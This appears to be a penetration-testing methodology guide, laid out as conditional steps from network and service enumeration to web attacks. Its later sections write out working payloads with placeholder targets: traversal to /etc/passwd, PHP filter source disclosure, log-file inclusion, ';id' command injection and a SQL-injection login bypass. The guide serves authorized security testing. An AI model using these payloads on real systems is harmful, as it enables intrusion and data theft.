Attack-surface investigations

Correct VPN/interface and explicit scope; discovery probes must be compatible with the path

Copyip addr
ip route get TARGET
nmap -sn SUBNET -oA host-discovery

These are conditional possibilities. Check the named condition before moving.

Discover TCP ports with SYN or connect scans — An assigned host needs an initial service queue or full TCP coverage
Requires: SYN scanning needs raw-packet privileges; connect scanning needs OS TCP connections; specify selected versus full port coverage

Probe UDP and resolve ambiguous silence — TCP enumeration is incomplete for the objective or DNS/SNMP/RPC clues suggest UDP
Requires: Raw-packet access and UDP reachability from the real source; bounded or full selection must be explicit

Relay a single TCP service through a fixed forward — One reachable pivot can connect to one internal TCP destination
Requires: A bindable pivot listener, source-to-listener access and pivot-to-destination connectivity

Enumerate reachable endpoints from a Windows source — The useful vantage point is a Windows host without Nmap
Requires: A permitted Windows shell, explicit target list and built-in networking support

SYN scanning needs raw-packet privileges; connect scanning needs OS TCP connections; specify selected versus full port coverage

Copynmap -Pn -sT --top-ports 1000 TARGET -oA tcp-initial
nmap -Pn -sT -p- TARGET -oA tcp-full

These are conditional possibilities. Check the named condition before moving.

Identify applications and validate selected NSE checks — A listener has a port-based label or uncertain version
Requires: A reachable selected port; scripts must match the application and permitted assessment behavior

Enumerate SMB/RPC shares, files and identities — SMB/RPC endpoints, domain clues or new credentials
Requires: Reachable SMB/RPC; anonymous, guest, local or domain context must be explicit; share and filesystem ACLs both matter

Establish scheme, host, redirects and request state — An HTTP endpoint, redirect or hostname-dependent response
Requires: Correct scheme/port and virtual host; saved cookies/headers for authenticated comparisons

A reachable selected port; scripts must match the application and permitted assessment behavior

Copynmap -Pn -sV -p PORTS TARGET -oA selected-services
nmap --script-help SCRIPT_NAME

These are conditional possibilities. Check the named condition before moving.

Discriminate unknown listeners and use scanner alternatives — A nonstandard listener, slow TCP discovery or a scanner-specific candidate
Requires: Explicit bounded scope; raw scanning alternatives need their required privileges and conservative rates

Establish scheme, host, redirects and request state — An HTTP endpoint, redirect or hostname-dependent response
Requires: Correct scheme/port and virtual host; saved cookies/headers for authenticated comparisons

Match a public exploit to the actual component and configuration — A product/version clue, advisory or component-specific public PoC
Requires: Exact vulnerable build/configuration, required access and endpoint behavior; reviewable source and a verifiable expected effect

Inspect rsync modules and retrieve selected artifacts — An rsync daemon banner, TCP/873 listener or disclosed rsync module
Requires: Reachable rsync daemon and a module/path readable by the anonymous or supplied account

Retrieve an evidence-backed file over TFTP — A UDP/69 service plus a plausible filename from configuration, source or boot metadata
Requires: Reachable TFTP service and an exact server-relative filename permitted for read or write

Use anonymous or authenticated FTP file access — An FTP banner or accessible listing
Requires: Anonymous login allowed or a valid FTP identity; data-channel connectivity and object-specific read/write rights

Use SSH passwords, keys and forwarding-capable access — An SSH service and a known password, private key or agent context
Requires: Compatible authentication method, correct user, accepted key policy and the requested shell/subsystem permission

Enumerate SMTP identities and accessible mailbox protocols — SMTP capabilities or mail-related account clues
Requires: Reachable SMTP/POP3/IMAP service; enumeration or mailbox access must be enabled for the selected context

Expand names through DNS records and zone transfers — A DNS server, domain name or host aliases
Requires: Reachable DNS transport and relevant authoritative zone; AXFR requires an allowed TCP zone transfer

Inspect RPC/NFS exports and effective file identity — RPC/NFS listeners or export information
Requires: Reachable RPC/NFS transports, permitted client address and an export whose UID/GID mapping grants relevant access

Enumerate SMB/RPC shares, files and identities — SMB/RPC endpoints, domain clues or new credentials
Requires: Reachable SMB/RPC; anonymous, guest, local or domain context must be explicit; share and filesystem ACLs both matter

Extract configuration and process information through SNMP — UDP/161 evidence or an exposed management plane
Requires: An accepted read community or SNMPv3 identity/security level; transport and view permissions

Use MySQL/MariaDB data and file primitives — A MySQL-compatible service and valid application/database credentials
Requires: Database authentication and exact schema/file privileges; secure_file_priv and server filesystem identity constrain file actions

Use SQL Server rights, impersonation and command facilities — SQL Server credentials or a Windows identity accepted by the database
Requires: Correct SQL versus Windows authentication; database role and configuration must permit the requested operation

Use PostgreSQL data and privileged program execution — PostgreSQL access or an application connection string
Requires: Accepted connection/database role; COPY PROGRAM needs the corresponding server privilege and an executable OS context

Inspect Redis access and persistence boundaries — A Redis listener or application cache credentials
Requires: Reachability and accepted authentication/ACL commands; persistence writes need CONFIG rights, destination permissions and a consumer

Triage Oracle listener and database identity — An Oracle TNS listener or connection descriptor
Requires: Correct service/SID, reachable database transport and valid database credentials for authenticated work

Validate RDP, WinRM, VNC and Telnet access contexts — An exposed remote-access application and compatible known credentials
Requires: Enabled destination service, matching authentication and protocol-specific logon/session rights

Discover LDAP naming contexts and authenticated search — LDAP/Kerberos listeners or a probable AD domain
Requires: Reachable directory; anonymous query permission or valid bind identity; required signing/TLS and naming context

Investigate SIP/IRC identity and configuration clues — A confirmed SIP or IRC application
Requires: Application-specific request format; permitted registration/channel/configuration access

Raw-packet access and UDP reachability from the real source; bounded or full selection must be explicit

Copysudo nmap -Pn -sU --top-ports 20 --reason TARGET -oA udp-initial
sudo nmap -Pn -sU -sV -p 53,161 TARGET -oA udp-focused

These are conditional possibilities. Check the named condition before moving.

Extract configuration and process information through SNMP — UDP/161 evidence or an exposed management plane
Requires: An accepted read community or SNMPv3 identity/security level; transport and view permissions

Expand names through DNS records and zone transfers — A DNS server, domain name or host aliases
Requires: Reachable DNS transport and relevant authoritative zone; AXFR requires an allowed TCP zone transfer

Inspect RPC/NFS exports and effective file identity — RPC/NFS listeners or export information
Requires: Reachable RPC/NFS transports, permitted client address and an export whose UID/GID mapping grants relevant access

A selected endpoint and a test that can resolve the decision-changing uncertainty

Copync -nvz TARGET PORT
nmap -Pn -sT -p PORT --reason TARGET

These are conditional possibilities. Check the named condition before moving.

Identify applications and validate selected NSE checks — A listener has a port-based label or uncertain version
Requires: A reachable selected port; scripts must match the application and permitted assessment behavior

Validate known passwords and context-specific reuse — A password tied to a plausible user and service
Requires: Correct local/domain/application identity, reachable compatible service, accepted authentication and account state

Maintain state and select the next evidence-producing test — Several hosts, identities, routes or competing hypotheses need coordination
Requires: Explicit scope/objective and a record of observations, unknowns and available capabilities

A permitted Windows shell, explicit target list and built-in networking support

CopyGet-NetIPConfiguration
Get-NetRoute -AddressFamily IPv4
Test-NetConnection TARGET -Port PORT

These are conditional possibilities. Check the named condition before moving.

Discover pivot interfaces, routes and internal service context — A foothold exposes an interface/subnet or a loopback-only service
Requires: A usable pivot process/identity and explicit scope; both forward and return directions must be understood

Use WinRM, WinRS or PowerShell remoting — A WinRM listener and a candidate endpoint-authorized account
Requires: Reachable HTTP(S) listener, accepted authentication and endpoint/session configuration permissions; hash/ticket support depends on client/context

Validate uncertain results and rebuild the service queue — Scanners disagree, a result is ambiguous, or a new identity changes accessible behavior
Requires: A selected endpoint and a test that can resolve the decision-changing uncertainty

Explicit bounded scope; raw scanning alternatives need their required privileges and conservative rates

Copynmap -Pn -sV --version-all -p PORT TARGET
nc -nv TARGET PORT

These are conditional possibilities. Check the named condition before moving.

Identify applications and validate selected NSE checks — A listener has a port-based label or uncertain version
Requires: A reachable selected port; scripts must match the application and permitted assessment behavior

Establish scheme, host, redirects and request state — An HTTP endpoint, redirect or hostname-dependent response
Requires: Correct scheme/port and virtual host; saved cookies/headers for authenticated comparisons

Match a public exploit to the actual component and configuration — A product/version clue, advisory or component-specific public PoC
Requires: Exact vulnerable build/configuration, required access and endpoint behavior; reviewable source and a verifiable expected effect

Anonymous login allowed or a valid FTP identity; data-channel connectivity and object-specific read/write rights

Copycurl -v ftp://TARGET/
curl -v --user 'USER:PASSWORD' ftp://TARGET/

These are conditional possibilities. Check the named condition before moving.

Classify the artifact and its identity context — A secret-like value, key file, stored hash, challenge response or ticket
Requires: Artifact provenance and format; possible local/domain/application identity and compatible protocol

Inspect source, backups, configuration and repository artifacts — JavaScript endpoints, backup names, exposed configuration or Git metadata
Requires: Readable application artifact or a complete recoverable repository; preserve the public-source scope

Validate known passwords and context-specific reuse — A password tied to a plausible user and service
Requires: Correct local/domain/application identity, reachable compatible service, accepted authentication and account state

Compatible authentication method, correct user, accepted key policy and the requested shell/subsystem permission

Copyssh -v -p PORT USER@TARGET
ssh -v -i KEY -p PORT USER@TARGET

These are conditional possibilities. Check the named condition before moving.

Establish Linux state and choose an escalation candidate — A new Linux foothold or an identity/privilege change
Requires: A working command channel and accurate effective identity, group, mount and process context

Inspect and recover SSH private-key access — A private key from a file read, share, repository or home directory
Requires: Correct key format, passphrase if encrypted, matching server account/key authorization and accepted algorithm/policy

Forward a selected service through an SSH client-side listener — SSH reaches a server that can access the needed internal service
Requires: Accepted SSH identity and forwarding policy; local listener availability and SSH-server-to-destination route

Reachable SMTP/POP3/IMAP service; enumeration or mailbox access must be enabled for the selected context

Copync -nv TARGET 25

These are conditional possibilities. Check the named condition before moving.

Validate known passwords and context-specific reuse — A password tied to a plausible user and service
Requires: Correct local/domain/application identity, reachable compatible service, accepted authentication and account state

Expand names through DNS records and zone transfers — A DNS server, domain name or host aliases
Requires: Reachable DNS transport and relevant authoritative zone; AXFR requires an allowed TCP zone transfer

Enumerate SMB/RPC shares, files and identities — SMB/RPC endpoints, domain clues or new credentials
Requires: Reachable SMB/RPC; anonymous, guest, local or domain context must be explicit; share and filesystem ACLs both matter

Reachable DNS transport and relevant authoritative zone; AXFR requires an allowed TCP zone transfer

Copydig @TARGET DOMAIN SOA
dig @TARGET DOMAIN NS
dig @TARGET DOMAIN AXFR

These are conditional possibilities. Check the named condition before moving.

Validate the source path and discover hosts — No response, a new subnet, or uncertainty about the interface and route
Requires: Correct VPN/interface and explicit scope; discovery probes must be compatible with the path

Discover virtual hosts and hostname-selected applications — DNS names, redirects, certificate names or a default virtual-host response
Requires: A destination listener, relevant domain candidates and controlled Host/SNI routing

Establish domain identity, DC, DNS, time and route — Domain credentials or a domain-joined foothold
Requires: Correct realm/domain and account qualification; reachable DC/services, usable DNS and acceptable clock skew

Reachable RPC/NFS transports, permitted client address and an export whose UID/GID mapping grants relevant access

Copyrpcinfo -p TARGET
showmount -e TARGET

These are conditional possibilities. Check the named condition before moving.

Classify the artifact and its identity context — A secret-like value, key file, stored hash, challenge response or ticket
Requires: Artifact provenance and format; possible local/domain/application identity and compatible protocol

Exploit a permission-backed mount, NFS mapping or local service — A writable/exported filesystem or a loopback-only service with useful privileges
Requires: Relevant export/mount options or service authentication; effective identity, writable path and any privileged execution consumer

Transfer over HTTP using Linux or Windows clients — A tool/artifact must reach a target that can make an HTTP request
Requires: Correct server bind and served directory; target-to-server route, available downloader and writable destination

Reachable rsync daemon and a module/path readable by the anonymous or supplied account

Copynmap -sV -p 873 --script rsync-list-modules TARGET
rsync rsync://TARGET/
rsync --list-only rsync://TARGET/MODULE/

These are conditional possibilities. Check the named condition before moving.

Classify the artifact and its identity context — A secret-like value, key file, stored hash, challenge response or ticket
Requires: Artifact provenance and format; possible local/domain/application identity and compatible protocol

Transfer over HTTP using Linux or Windows clients — A tool/artifact must reach a target that can make an HTTP request
Requires: Correct server bind and served directory; target-to-server route, available downloader and writable destination

Use SSH passwords, keys and forwarding-capable access — An SSH service and a known password, private key or agent context
Requires: Compatible authentication method, correct user, accepted key policy and the requested shell/subsystem permission

Reachable TFTP service and an exact server-relative filename permitted for read or write

Copytftp TARGET
tftp> binary
tftp> get FILE
tftp> quit

These are conditional possibilities. Check the named condition before moving.

Classify the artifact and its identity context — A secret-like value, key file, stored hash, challenge response or ticket
Requires: Artifact provenance and format; possible local/domain/application identity and compatible protocol

Transfer over HTTP using Linux or Windows clients — A tool/artifact must reach a target that can make an HTTP request
Requires: Correct server bind and served directory; target-to-server route, available downloader and writable destination

Match a public exploit to the actual component and configuration — A product/version clue, advisory or component-specific public PoC
Requires: Exact vulnerable build/configuration, required access and endpoint behavior; reviewable source and a verifiable expected effect

Reachable SMB/RPC; anonymous, guest, local or domain context must be explicit; share and filesystem ACLs both matter

Copysmbclient -L //TARGET -N
smbclient -L //TARGET -U 'DOMAIN/USER'

These are conditional possibilities. Check the named condition before moving.

Classify the artifact and its identity context — A secret-like value, key file, stored hash, challenge response or ticket
Requires: Artifact provenance and format; possible local/domain/application identity and compatible protocol

Read domain shares, SYSVOL and NETLOGON for useful artifacts — A valid domain identity and accessible file services
Requires: Reachable SMB plus share/object read rights in the chosen identity context

Execute through uploaded service creation using PsExec — A destination grants administrative-share write and service-control rights
Requires: SMB/SCM reachability, writable required share, effective service-creation/start rights and an accepted password/hash or supported Kerberos context

An accepted read community or SNMPv3 identity/security level; transport and view permissions

Copysnmpwalk -v2c -c COMMUNITY TARGET 1.3.6.1.2.1.1

These are conditional possibilities. Check the named condition before moving.

Validate the source path and discover hosts — No response, a new subnet, or uncertainty about the interface and route
Requires: Correct VPN/interface and explicit scope; discovery probes must be compatible with the path

Classify the artifact and its identity context — A secret-like value, key file, stored hash, challenge response or ticket
Requires: Artifact provenance and format; possible local/domain/application identity and compatible protocol

Match a public exploit to the actual component and configuration — A product/version clue, advisory or component-specific public PoC
Requires: Exact vulnerable build/configuration, required access and endpoint behavior; reviewable source and a verifiable expected effect

Database authentication and exact schema/file privileges; secure_file_priv and server filesystem identity constrain file actions

CopySELECT USER(),CURRENT_USER(),VERSION();
SHOW GRANTS;
SHOW VARIABLES LIKE 'secure_file_priv';

These are conditional possibilities. Check the named condition before moving.

Classify the artifact and its identity context — A secret-like value, key file, stored hash, challenge response or ticket
Requires: Artifact provenance and format; possible local/domain/application identity and compatible protocol

Convert database rights into a file or operating-system effect — Confirmed SQL control plus database file, execution or impersonation privileges
Requires: DBMS-specific privilege and enabled facility; OS service identity, writable/readable destination and a compatible consumer

Execute an uploaded file through a compatible handler — Uploads are retrievable and the application stack suggests an executable file handler
Requires: Controlled executable content survives validation; final storage/URL is handled by the compatible interpreter; process execution is permitted

Correct SQL versus Windows authentication; database role and configuration must permit the requested operation

CopySELECT SYSTEM_USER, ORIGINAL_LOGIN(), @@VERSION;
SELECT IS_SRVROLEMEMBER('sysadmin');

These are conditional possibilities. Check the named condition before moving.

Convert database rights into a file or operating-system effect — Confirmed SQL control plus database file, execution or impersonation privileges
Requires: DBMS-specific privilege and enabled facility; OS service identity, writable/readable destination and a compatible consumer

Classify the artifact and its identity context — A secret-like value, key file, stored hash, challenge response or ticket
Requires: Artifact provenance and format; possible local/domain/application identity and compatible protocol

Verify command execution, host and represented identity — A PoC, injected command or remote client reports execution
Requires: A functioning execution primitive and an observable output or controlled side effect

Accepted connection/database role; COPY PROGRAM needs the corresponding server privilege and an executable OS context

CopySELECT current_user,session_user,version();
SELECT rolname,rolsuper FROM pg_roles WHERE rolname=current_user;

These are conditional possibilities. Check the named condition before moving.

Classify the artifact and its identity context — A secret-like value, key file, stored hash, challenge response or ticket
Requires: Artifact provenance and format; possible local/domain/application identity and compatible protocol

Convert database rights into a file or operating-system effect — Confirmed SQL control plus database file, execution or impersonation privileges
Requires: DBMS-specific privilege and enabled facility; OS service identity, writable/readable destination and a compatible consumer

Verify command execution, host and represented identity — A PoC, injected command or remote client reports execution
Requires: A functioning execution primitive and an observable output or controlled side effect

Reachability and accepted authentication/ACL commands; persistence writes need CONFIG rights, destination permissions and a consumer

Copyredis-cli -h TARGET -p PORT PING

These are conditional possibilities. Check the named condition before moving.

Classify the artifact and its identity context — A secret-like value, key file, stored hash, challenge response or ticket
Requires: Artifact provenance and format; possible local/domain/application identity and compatible protocol

Cross role, function or session authorization boundaries — Administrative actions/routes or request methods visible from a lower role
Requires: The lower-role identity can invoke a protected server-side action without its required authorization

Match a public exploit to the actual component and configuration — A product/version clue, advisory or component-specific public PoC
Requires: Exact vulnerable build/configuration, required access and endpoint behavior; reviewable source and a verifiable expected effect

Correct service/SID, reachable database transport and valid database credentials for authenticated work

Copynmap -Pn -sV -p 1521 TARGET

These are conditional possibilities. Check the named condition before moving.

Validate known passwords and context-specific reuse — A password tied to a plausible user and service
Requires: Correct local/domain/application identity, reachable compatible service, accepted authentication and account state

Match a public exploit to the actual component and configuration — A product/version clue, advisory or component-specific public PoC
Requires: Exact vulnerable build/configuration, required access and endpoint behavior; reviewable source and a verifiable expected effect

Validate uncertain results and rebuild the service queue — Scanners disagree, a result is ambiguous, or a new identity changes accessible behavior
Requires: A selected endpoint and a test that can resolve the decision-changing uncertainty

Enabled destination service, matching authentication and protocol-specific logon/session rights

CopyTest-NetConnection TARGET -Port 3389
Test-NetConnection TARGET -Port 5985

These are conditional possibilities. Check the named condition before moving.

Obtain an authorized RDP interactive session — RDP is reachable and the identity may have remote-interactive logon rights
Requires: Allowed account/session policy and compatible client/NLA/TLS; hash-based Restricted Admin has additional supported-policy/admin requirements

Use WinRM, WinRS or PowerShell remoting — A WinRM listener and a candidate endpoint-authorized account
Requires: Reachable HTTP(S) listener, accepted authentication and endpoint/session configuration permissions; hash/ticket support depends on client/context

Establish Windows token, host and process context — A new Windows session or claimed administrator/SYSTEM transition
Requires: A functioning command channel and the actual effective token/process context

Reachable directory; anonymous query permission or valid bind identity; required signing/TLS and naming context

Copyldapsearch -x -H ldap://DC_IP -s base -b '' namingContexts defaultNamingContext

These are conditional possibilities. Check the named condition before moving.

Establish domain identity, DC, DNS, time and route — Domain credentials or a domain-joined foothold
Requires: Correct realm/domain and account qualification; reachable DC/services, usable DNS and acceptable clock skew

Enumerate directory objects with native, LDAP and PowerView approaches — A directory bind or domain-joined identity can read relevant objects
Requires: Correct search base and authentication transport; object/attribute visibility and compatible local utilities

Request a selected service ticket for offline service-account recovery — A user-owned SPN and a useful service-account relationship
Requires: A valid domain authentication/TGT context, reachable KDC, target SPN and a feasible password/encryption candidate strategy

Application-specific request format; permitted registration/channel/configuration access

Copynmap -Pn -sV -p PORT TARGET

These are conditional possibilities. Check the named condition before moving.

Match a public exploit to the actual component and configuration — A product/version clue, advisory or component-specific public PoC
Requires: Exact vulnerable build/configuration, required access and endpoint behavior; reviewable source and a verifiable expected effect

Validate known passwords and context-specific reuse — A password tied to a plausible user and service
Requires: Correct local/domain/application identity, reachable compatible service, accepted authentication and account state

Identify applications and validate selected NSE checks — A listener has a port-based label or uncertain version
Requires: A reachable selected port; scripts must match the application and permitted assessment behavior

Correct scheme/port and virtual host; saved cookies/headers for authenticated comparisons

Copycurl -skD headers.txt -o body.html http://TARGET:PORT/
curl -skI https://TARGET:PORT/

These are conditional possibilities. Check the named condition before moving.

Discover virtual hosts and hostname-selected applications — DNS names, redirects, certificate names or a default virtual-host response
Requires: A destination listener, relevant domain candidates and controlled Host/SNI routing

Map functions, roles and normal requests manually — Forms, downloads, exports, account functions or role-specific interfaces
Requires: A normal request baseline and the relevant account/role; authorized accounts for role comparisons

Inspect source, backups, configuration and repository artifacts — JavaScript endpoints, backup names, exposed configuration or Git metadata
Requires: Readable application artifact or a complete recoverable repository; preserve the public-source scope

A normal request baseline and the relevant account/role; authorized accounts for role comparisons

Copycurl -sk -b cookies.txt -D response-headers.txt http://TARGET:PORT/PATH

These are conditional possibilities. Check the named condition before moving.

Cross an object-ownership boundary — A request selects an object by ID/path and two authorized ownership contexts are available
Requires: The server accepts a lower-privilege identity's request for an object it should not access

Read files through directory traversal — A download/path parameter or URL segment influences a local filename
Requires: Untrusted path reaches a filesystem read outside its intended directory; process identity can read the requested file

Establish upload acceptance, storage and retrieval — An upload/import/attachment function
Requires: A valid upload request and permitted account; the server accepts and stores controlled bytes

Prove server-side template evaluation and identify its engine — Controlled input appears in a server-rendered template, preview, email or report
Requires: The application evaluates attacker-controlled template syntax and the selected engine exposes a useful object or function

Use an XML parser's external-entity behavior for bounded file read — A working XML request reaches a server-side parser that accepts a controlled document or field
Requires: External entity or XInclude processing is enabled and the parser identity can read the selected file

Test structured NoSQL operator injection with identity controls — A login or search accepts JSON/nested form properties and evidence suggests an operator-based document query
Requires: The framework preserves an attacker-controlled operator object and the query uses it without rejecting its type

Match PHP deserialization gadgets to installed dependencies — Source or request evidence shows controlled serialized PHP data reaches unsafe unserialize
Requires: Required gadget classes and compatible dependency versions are loaded; transport preserves exact serialized bytes

Validate unsafe YAML object construction — Source or errors identify server-side Python YAML loading of controlled content
Requires: The application uses an unsafe PyYAML loader that permits the selected Python object constructor

Test Shellshock only through a confirmed CGI-to-Bash chain — A real CGI endpoint invokes Bash and component/patch evidence supports the vulnerable family
Requires: HTTP-derived environment data reaches an affected Bash process and the selected command is available

Discover directories and files with controlled response filtering — An application has unlinked paths, backups or administration endpoints
Requires: Correct base URL/session and a measured nonexistent-path response; bounded relevant wordlist

Readable application artifact or a complete recoverable repository; preserve the public-source scope

Copycurl -sk http://TARGET:PORT/robots.txt
curl -sk http://TARGET:PORT/.git/HEAD

These are conditional possibilities. Check the named condition before moving.

Classify the artifact and its identity context — A secret-like value, key file, stored hash, challenge response or ticket
Requires: Artifact provenance and format; possible local/domain/application identity and compatible protocol

Match a public exploit to the actual component and configuration — A product/version clue, advisory or component-specific public PoC
Requires: Exact vulnerable build/configuration, required access and endpoint behavior; reviewable source and a verifiable expected effect

Map parameters, API methods, objects and writable properties — An API/schema, numeric object IDs, hidden fields or different HTTP methods
Requires: A valid request and explicit role/object ownership; exact input format and content type

Correct base URL/session and a measured nonexistent-path response; bounded relevant wordlist

Copycurl -sk -D - http://TARGET:PORT/KNOWN_MISSING_PATH

These are conditional possibilities. Check the named condition before moving.

Map functions, roles and normal requests manually — Forms, downloads, exports, account functions or role-specific interfaces
Requires: A normal request baseline and the relevant account/role; authorized accounts for role comparisons

Inspect source, backups, configuration and repository artifacts — JavaScript endpoints, backup names, exposed configuration or Git metadata
Requires: Readable application artifact or a complete recoverable repository; preserve the public-source scope

Establish upload acceptance, storage and retrieval — An upload/import/attachment function
Requires: A valid upload request and permitted account; the server accepts and stores controlled bytes

A destination listener, relevant domain candidates and controlled Host/SNI routing

Copycurl -sk --resolve HOSTNAME:PORT:TARGET https://HOSTNAME:PORT/

These are conditional possibilities. Check the named condition before moving.

Establish scheme, host, redirects and request state — An HTTP endpoint, redirect or hostname-dependent response
Requires: Correct scheme/port and virtual host; saved cookies/headers for authenticated comparisons

Map functions, roles and normal requests manually — Forms, downloads, exports, account functions or role-specific interfaces
Requires: A normal request baseline and the relevant account/role; authorized accounts for role comparisons

Expand names through DNS records and zone transfers — A DNS server, domain name or host aliases
Requires: Reachable DNS transport and relevant authoritative zone; AXFR requires an allowed TCP zone transfer

A valid request and explicit role/object ownership; exact input format and content type

Copycurl -sk -i -b cookies.txt http://TARGET:PORT/api/PATH

These are conditional possibilities. Check the named condition before moving.

Modify a protected property through excessive writable fields — API objects expose role, ownership or security-sensitive properties
Requires: The server binds an untrusted property to a persistent security-relevant field without checking permission

Cross an object-ownership boundary — A request selects an object by ID/path and two authorized ownership contexts are available
Requires: The server accepts a lower-privilege identity's request for an object it should not access

Prove visible or blind operating-system command injection — An input appears in a command-like operation or causes shell-dependent behavior
Requires: Input reaches command execution with an exploitable parsing boundary; process identity/runtime can perform the selected proof

Establish SQL query influence and DBMS context — Database errors or controlled true/false response differences
Requires: Input reaches a SQL query; a valid request and stable response baseline exist

Execute browser code and validate a useful same-origin action — Untrusted input reaches an executable HTML/JavaScript context
Requires: Payload reaches a browser execution sink; any useful privileged action additionally needs a victim context, same-origin access and a valid request state

Use server-side requests to inspect reachable internal behavior — URL import, preview, webhook or fetch behavior
Requires: The application server performs a controllable request; destination/protocol policy and its network position permit the selected resource

Untrusted path reaches a filesystem read outside its intended directory; process identity can read the requested file

Copycurl -skG --data-urlencode 'file=../../../../../../etc/passwd' http://TARGET:PORT/PATH

These are conditional possibilities. Check the named condition before moving.

Classify the artifact and its identity context — A secret-like value, key file, stored hash, challenge response or ticket
Requires: Artifact provenance and format; possible local/domain/application identity and compatible protocol

Disclose PHP source through an inclusion wrapper — A PHP page/include parameter and possible access to local application files
Requires: A PHP inclusion sink accepts the filter wrapper and the process can read the source

Inspect source, backups, configuration and repository artifacts — JavaScript endpoints, backup names, exposed configuration or Git metadata
Requires: Readable application artifact or a complete recoverable repository; preserve the public-source scope

A PHP inclusion sink accepts the filter wrapper and the process can read the source

Copycurl -skG --data-urlencode 'page=php://filter/convert.base64-encode/resource=index.php' http://TARGET:PORT/index.php

These are conditional possibilities. Check the named condition before moving.

Classify the artifact and its identity context — A secret-like value, key file, stored hash, challenge response or ticket
Requires: Artifact provenance and format; possible local/domain/application identity and compatible protocol

Turn controlled local file content into inclusion execution — A confirmed evaluating include and a log or file containing attacker-controlled bytes
Requires: Controlled content survives logging; inclusion identity can read it; interpreter evaluates it; requested command facility is available

Prove visible or blind operating-system command injection — An input appears in a command-like operation or causes shell-dependent behavior
Requires: Input reaches command execution with an exploitable parsing boundary; process identity/runtime can perform the selected proof

Controlled content survives logging; inclusion identity can read it; interpreter evaluates it; requested command facility is available

Copycurl -skG --data-urlencode 'page=/var/log/apache2/access.log' http://TARGET:PORT/index.php

These are conditional possibilities. Check the named condition before moving.

Verify command execution, host and represented identity — A PoC, injected command or remote client reports execution
Requires: A functioning execution primitive and an observable output or controlled side effect

Connect a Linux reverse shell through an available interpreter — Linux command execution exists but an interactive channel is needed
Requires: A confirmed Bash/Python/PHP/Netcat implementation, correct parser wrapping, target-to-listener route and compatible listener

Read files through directory traversal — A download/path parameter or URL segment influences a local filename
Requires: Untrusted path reaches a filesystem read outside its intended directory; process identity can read the requested file

A valid upload request and permitted account; the server accepts and stores controlled bytes

Copyprintf '%s\n' 'UPLOAD_CANARY' > probe.txt
curl -sk -b cookies.txt -F 'file=@probe.txt;type=text/plain' http://TARGET:PORT/upload

These are conditional possibilities. Check the named condition before moving.

Execute an uploaded file through a compatible handler — Uploads are retrievable and the application stack suggests an executable file handler
Requires: Controlled executable content survives validation; final storage/URL is handled by the compatible interpreter; process execution is permitted

Use upload path control to reach a useful consumer — A multipart filename/import path appears to influence the filesystem destination
Requires: Destination path control survives normalization; write identity can reach the destination; a known consumer accepts the resulting file

Map functions, roles and normal requests manually — Forms, downloads, exports, account functions or role-specific interfaces
Requires: A normal request baseline and the relevant account/role; authorized accounts for role comparisons

Controlled executable content survives validation; final storage/URL is handled by the compatible interpreter; process execution is permitted

Copycurl -sk -i http://TARGET:PORT/uploads/FILE

These are conditional possibilities. Check the named condition before moving.

Verify command execution, host and represented identity — A PoC, injected command or remote client reports execution
Requires: A functioning execution primitive and an observable output or controlled side effect

Connect a Linux reverse shell through an available interpreter — Linux command execution exists but an interactive channel is needed
Requires: A confirmed Bash/Python/PHP/Netcat implementation, correct parser wrapping, target-to-listener route and compatible listener

Use upload path control to reach a useful consumer — A multipart filename/import path appears to influence the filesystem destination
Requires: Destination path control survives normalization; write identity can reach the destination; a known consumer accepts the resulting file

Destination path control survives normalization; write identity can reach the destination; a known consumer accepts the resulting file

Copycurl -sk -b cookies.txt -F 'file=@probe.txt;filename=../UNIQUE_CANARY.txt;type=text/plain' http://TARGET:PORT/upload

These are conditional possibilities. Check the named condition before moving.

Use SSH passwords, keys and forwarding-capable access — An SSH service and a known password, private key or agent context
Requires: Compatible authentication method, correct user, accepted key policy and the requested shell/subsystem permission

Prove effective file, directory, ACL and mount control — A root-consumed file or directory appears writable
Requires: Effective access through every parent/ACL and mount; a privileged consumer and trigger are identified separately

Prove effective file, registry and service-object permissions — A privileged object appears writable or an ACL tool reports a useful right
Requires: Correct trustee/token, object type and effective rights including parents and deny entries

Input reaches command execution with an exploitable parsing boundary; process identity/runtime can perform the selected proof

Copycurl -skG --data-urlencode 'PARAM=VALUE;id' http://TARGET:PORT/PATH

These are conditional possibilities. Check the named condition before moving.

Verify command execution, host and represented identity — A PoC, injected command or remote client reports execution
Requires: A functioning execution primitive and an observable output or controlled side effect

Connect a Linux reverse shell through an available interpreter — Linux command execution exists but an interactive channel is needed
Requires: A confirmed Bash/Python/PHP/Netcat implementation, correct parser wrapping, target-to-listener route and compatible listener

Repair quoting, encoding and command-length boundaries — A simple command works while a longer or nested payload fails
Requires: Known outer request/template/database parser and inner shell; correct character encoding and transport length

Input reaches a SQL query; a valid request and stable response baseline exist

Copycurl -skG --data-urlencode "PARAM=VALUE'" http://TARGET:PORT/PATH

These are conditional possibilities. Check the named condition before moving.

Test a SQL-backed authentication bypass — A login/query path has confirmed compatible SQL influence
Requires: The injected condition changes the authentication query and the application accepts the resulting account/session

Extract data through UNION and visible SQL results — An injectable SELECT renders query results
Requires: Compatible column count/types, a reflected result position and rights to the requested data

Infer SQL data through boolean or time-based differences — Query influence exists but rows are not rendered
Requires: A stable boolean response difference or controlled DB-specific delay; comparable repeated baseline requests

The injected condition changes the authentication query and the application accepts the resulting account/session

Copycurl -sk -i -c cookies.txt --data-urlencode "username=USER' OR '1'='1'-- -" --data-urlencode 'password=INVALID_CONTROL' http://TARGET:PORT/login

These are conditional possibilities. Check the named condition before moving.

Map functions, roles and normal requests manually — Forms, downloads, exports, account functions or role-specific interfaces
Requires: A normal request baseline and the relevant account/role; authorized accounts for role comparisons

Cross role, function or session authorization boundaries — Administrative actions/routes or request methods visible from a lower role
Requires: The lower-role identity can invoke a protected server-side action without its required authorization

Extract data through UNION and visible SQL results — An injectable SELECT renders query results
Requires: Compatible column count/types, a reflected result position and rights to the requested data

Compatible column count/types, a reflected result position and rights to the requested data

Copycurl -skG --data-urlencode "PARAM=VALUE' ORDER BY 1-- -" http://TARGET:PORT/PATH

These are conditional possibilities. Check the named condition before moving.

Classify the artifact and its identity context — A secret-like value, key file, stored hash, challenge response or ticket
Requires: Artifact provenance and format; possible local/domain/application identity and compatible protocol

Convert database rights into a file or operating-system effect — Confirmed SQL control plus database file, execution or impersonation privileges
Requires: DBMS-specific privilege and enabled facility; OS service identity, writable/readable destination and a compatible consumer

Infer SQL data through boolean or time-based differences — Query influence exists but rows are not rendered
Requires: A stable boolean response difference or controlled DB-specific delay; comparable repeated baseline requests

A stable boolean response difference or controlled DB-specific delay; comparable repeated baseline requests

